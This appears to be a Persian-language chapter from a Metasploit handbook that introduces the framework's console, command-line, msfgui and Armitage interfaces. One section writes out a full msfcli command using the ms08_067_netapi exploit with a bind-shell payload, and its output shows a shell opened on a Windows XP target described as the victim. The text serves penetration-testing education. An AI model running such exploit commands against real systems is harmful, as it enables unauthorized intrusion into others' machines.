اصول استفاده از متاسپلویت

avatar
رضا مقدمReza Moghadam
زمان مطالعه 15 دقیقه61 مشاهده

اصول استفاده از متاسپلویت

وقتی نخستین بار باMetasploit Framework (MSF) مواجه شوید، شاید در مقابل رابط کاربری (Interface)، گزینه ها (Options)، برنامه های سودمند (Utilities)، متغیر ها (Variables) و ماژول های (Modules) آن کمی سردرگم شوید. در این فصل بر روی اصول اساسی استفاده از متاسپلویت متمرکز خواهیم شد. بعلاوه واژگان رایج در علوم امنیت را نیز تشریح خواهیم کرد که برای درک مطالب کتاب و آزمون نفوذ مفید است. سپس به طور خلاصه رابط کاربری برنامه متاسپلویت را بررسی خواهیم نمود.

متاسپلویت در اصل برنامه ای رایگان و متن باز با مشارکت کنندگان بسیاری در جامعه ی امنیت است، اما با این حال دو نسخه تجاری از متاسپلویت وجود دارد که شامل ابزار و مزیت های بیشتری نسبت به نسخه رایگان هستند. اما این مسئله چندان اهمیتی ندارد، چون که برای استفاده ی نخست از متاسپلویت، باید بر روی اصول کار و یادگیری دستورات جهت اکسپلویت کردن آسیب پذیری ها و امثالهم تمرکز کنید. چرا که اصول استفاده از این برنامه در نسخه های مختلف یکسان است. تنها تفاوت در ابزارها و امکانات موجود می باشد.


واسط های کاربری متاسپلویت

واسط کاربری متاسپلویت قابلیت های اساسی آن را در اختیار قرار می دهند و بر دو شکل یعنی خط فرمان (Console Command Line) و گرافیکی (Graphical Interface) می باشند. علاوه بر این دو واسط برنامه های سودمندی وجود دارند که با آنها می توان مستقیما به توابع داخلی فریمورک متاسپلویت دسترسی یافت. این برنامه ها در توسعه ی اکسپلویت برای متاسپلویت بسیار کارآمد و کمک کننده هستند.


کنسول متاسپلویت

کنسول متاسپلویت یکی از محبوب ترین قسمت های آن است. چرا که از قابل انعطاف ترین و مفیدترین ابزارهای موجود در این برنامه می باشد. در کنسول متاسپلویت تمام اعمال ها (مثل انجام تنظیمات) به صورت نوشتاری انجام می شود.

نفوذگران می توانند از این کنسول برای انجام هر چیزی استفاده کنند، مثل اجرا کردن اکسپلویت، بارگذاری ماژول های کمکی، ایجاد شنونده، و به طور کلی تمامی اعمال مورد نیاز برای بهره برداری از آسیب پذیری ها.

شایان ذکرست، فریمورک متاسپلویت به طور مداوم در حال تغییر است، با این حال زیر مجموعه ای از دستورات ثابت می مانند. بدین ترتیب تسلط بر اصول اصلی این کنسول امکان یادگیری هرچه سریع تر تغییرات را فراهم می آورد.

نکته: قبل از پرداختن به شروع کار با متاسپلویت باید متذکر شد که در این کتاب، تمام آموزش ها در محیط سیستم عامل کالی لینوکس (Kali Linux) اجرا شده اند.


واسط کنسول متاسپلویت

برای اجرای کنسول عبارت msfconsole را در یک پوسته ی فرمان (ترمینال) اجرا کنید. برای اطلاعات بیشتر راجع به دستورات و آرگومان های مختلف می توان از واژه ی help استفاده کرد (جلوتر با نحوه استفاده از این دستور آشنا خواهید شد).

root@KaliLinux:/opt/framework/msf3# msfconsole
< metasploit >
------------
      \ ,__,
         \ (oo)____
           (__)        )\
                  ||--|| *
msf >

طبعاً به هنگام کار با برنامه های امنیتی باید از نحوه ی کارکرد دستورات درون آنها اطلاع داشته باشید، لذا معمولا باید فایل راهنمای آنها را مطالعه کنید. برای خواندن راهنمای هر دستور کافیست کلمه help را در ابتدای آن دستور در محیط کنسول متاسپلویت وارد کنید. به عنوان مثال در اینجا برای خواندن راهنمای دستور connect عبارت زیر را وارد می نماییم:

Msf> help connect
Show Result's

کنسول فایل باینری اصلی فریمورک متاسپلویت است که معمولا کاربر آن را اجرا می کند و بنر متاسپلویت با حروف اسکی نیز بر روی ترمینال چاپ می گردد. این برنامه حالت تعاملی یا اصطلاحا Interactive با کاربر دارد. بدین معنی که کاربر می تواند با تعامل با برنامه بردار حمله مورد نظر خود را مشخص سازد.

مثلا فرض کنید در قسمتی برنامه نام پلتفرم مورد نظرتان را می خواهد (برای ساختن شلکد) و شما گزینه مطلوب را انتخاب می کنید. در قسمت بعد آدرس IP دریافت می گردد، سپس نوع پایلود و الی آخر. در این روال قابل مشاهده است که برنامه با کاربر در حال تعامل است و مسائل و موارد مختلف را می پرسد و امکان انتخاب گزینه ی مطلوب را به شما می دهد. علاوه بر قابلیت تعاملی در کنسول متاسپلویت، تقریبا تمام قابلیت های متاسپلویت را نیز می توان یافت. به عنوان مثال حمله کردن به قربانی ها، ساختن شنونده ها و غیره...


واسط خط فرمان

واسط دیگر، واسط خط فرمان نام دارد. رفتار و نوع این برنامه بیشتر برای عمل در محیط CLI نوشته شده است و نه ایجاد حالت تعاملی به صورت کامل با کاربر. با اجرای این برنامه نیز می توانید به قابلیت های متاسپلویت دسترسی داشته باشید، اما این برنامه بیشتر برای اسکریپت نویسی و تفسیر اطلاعات مختلف (مثل دریافت اطلاعات خروجی از دیگر برنامه ها به عنوان اطلاعات ورودی و عمل نمودن بر اساس آنها) نوشته شده است. برای اجرای آن هم کافی است به مسیر نصب برنامه بروید و عبارت msfcli را بنویسید.

فرض کنید می خواهید یک آسیب پذیری خاص را روی یک رنج از آدرس های IP امتحان کنید و سیستم های آسیب پذیر را شناسایی کنید. در این صورت می توانید از این برنامه استفاده کنید و ماژول مورد نظرتان را اجرا کرده و خروجی آن را در ترمینال (همان command-prompt) بنویسید یا در یک فایل قرار دهید یا اینکه اصلا یک ارتباط سوکت با یک کامپیوتر دیگر برقرار کنید و آدرس های آسیب پذیر را به سمت آن سوکت ارسال کنید. همه این مسائل قابل انجام است و می توانید با نوشتن اسکریپت و ماژول مناسب و اجرای آن در محیط خط فرمان به آنها دست پیدا کنید.

بنابراین می شود گفت در مواردی که خود برنامه ی کنسول متاسپلویت (یعنی برنامه اصلی متاسپلویت) فاقد یک کارایی یا انعطاف پذیری مورد نظر شما است، می توانید ماژول ها، پلاگین ها و اسکریپت های مورد نظر خودتان را بنویسید و بسادگی آنها را بواسطه ی برنامه ی msfcli اجرا نمایید. بعلاوه از msfcli می توان برای تست اکسپلویت ها استفاده کرد. برای اجرای این واسط دستور زیر را در پوسته ی فرمان وارد نمایید:

root@KaliLinux:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
======================================================================
Mode Description
---- ---------------
(H)elp You're looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
root@KaliLinux:/opt/framework3/msf3#

اکنون نمونه ای استفاده از msfcli را نشان می دهیم. در مورد جزئیات نگران نباشید؛ چرا که در ادامه ی این کتاب با تمام این مباحث آشنا می شوید. وقتی برای اولین بار از قابلیتی در متاسپلویت استفاده میکنید با استفاده از حرف O در پایان ماژول می توانید پارامترهای مورد نیاز را بخوانید. به عنوان نمونه برای اطلاع از پارامترهای ماژول ms08_067_netapi دستور زیر را وارد می کنیم:

root@KaliLinux:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

Name             Current Setting          Required          Description
--------             -------------------         -----------         --------------
RHOST             0.0.0.0                       yes                The target address
RPORT             445                            yes                Set the SMB service port
SMBPIPE          BROWSER               yes                The pipe name to use (BROWSER, SRVSVC)

مشاهده می کنید که این ماژول به سه پارامتر RHOST، RPORT و SMBPIPE برای انجام عملیات خود نیاز دارد. اکنون برای یافتن پایلودهای عملیاتی در این ماژول از حرف P استفاده می کنیم.

root@KaliLinux:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*]Please wait while we load the module tree...
Compatible payloads
===================
Name                                                  Description
                                                 -------------                                                 --------
generic/debug_trap           		 Generate a debug trap in the target process
generic/shell_bind_tcp      		 Listen for a connection and spawn a command shell

در قسمت بالا، تمام پایلودهای موجود در متاسپلویت نمایش نیافته اند. به هر حال پس از تنظیم تمام گزینه های لازم برای ماژول از حرف E می توانید برای دور زدن وقفه های امنیتی استفاده نمود.

root@KaliLinux:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155  PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

عملیات با موفقیت انجام شد و به سیستم قربانی دسترسی یافته ایم.


واسط گرافیکی متاسپلویت

تا به الان با رابط های تحت ترمینال متاسپلویت آشنا شدیم که شاید استفاده از آن برای افراد مبتدی بسیار سخت و طاقت فرسا باشد. به همین دلیل یکی از توسعه دهندگان چهارچوب متاسپلویت برای ساده سازی فرآیند استفاده از چهارچوب متاسپلویت، یک رابط گرافیکی ارائه کرده که همگان آن را با نام msfgui می شناسند. شایان ذکر است که از نسخه 4.2 به بعد تیم متاسپلویت این رابط را ارائه دیگر نمی دهد و شما برای استفاده از این رابط می توانید به وب سایت سازنده رفته و آن را دانلود کنید و مورد استفاده قرار بدهید. به همین دلیل در این قسمت فرآیند نصب کردن آنرا مورد بررسی قرار می دهیم.

اما قبل از اینکه بخواهید فایل msfgui را دانلود کنید، باید جاوا را بر روی سیستم خود نصب کرده باشید تا بتوانید محیط گرافیکی متاسپلویت را اجرا کنید. برای نصب کردن جاوا در سیستم عامل های مبتنی بر دبیان مانند ubuntu، بک ترک و... کافیست فرمان زیر را در ترمینال اجرا کنید تا فرآیند نصب کردن جاوا آغاز گردد.

Root@KaliLinux:~# sudo apt-get install openjdk-7-jre

بعد از اینکه این بسته با موفقیت بر روی سیستم نصب گردید باید msfgui را از github دانلود کنید تا بتوانید آن را مورد استفاده قرار بدهید. بدین منظور ابتدا یک پوشه مجزا ایجاد کرده و سپس msfgui را با استفاده از فرمان زیر در آن پوشهClone کنید.

Root@KaliLinux:~# sudo git clone https://github.com/scriptjunkie/msfgui

در پایان هنگامی که فرآیند Clone کردن به پایان رسید، فرمان زیر را در پوشه مذکور اجرا کنید تا رابط گرافیکی متاسپلویت اجرا گردد.

Root@KaliLinux:~# msfgui

بعد از اینکه فرمان بالا را اجرا کردید با پنجره گرافیکی رابط متاسپلویت رو به رو خواهید شد.


واسط آرمیتج

اما واسط دیگری به نام آرمیتج وجود دارد که آن هم یک واسط گرافیکی است و توسط آقای Raphael Mudge توسعه یافته است. این برنامه به صورت مستقل ارائه می شود و با نصب و اجرای آن می توان عملیات های مختلفی را به صورت گرافیکی انجام داد. برای اجرای این واسط کافیست به مسیر قرارگاه چهارچوب متاسپلویت رفته و فایلarmitage را اجرا کنید:

root@BT:/opt/framework3/msf3# armitage

تا به الان متوجه شدیم، برای دسترسی به متاسپلویت چند راه وجود دارد؛ یکی رابط msfconsole و دیگری msfcli است که این دو رابط مبتنی بر متن هستند و دو رابط دیگر یعنی msfgui و Armitage که نیز به صورت گرافیکی ارائه می شوند (هر چند برنامه هایی مانند Armitage فراوان وجود دارند)


منبع : کتاب راهنمای متاسپلویت , نویسنده رضا مقدم

کپی برداری با ذکر منبع و لینک ( مرکز آموزش میکروتیک ) مانعی ندارد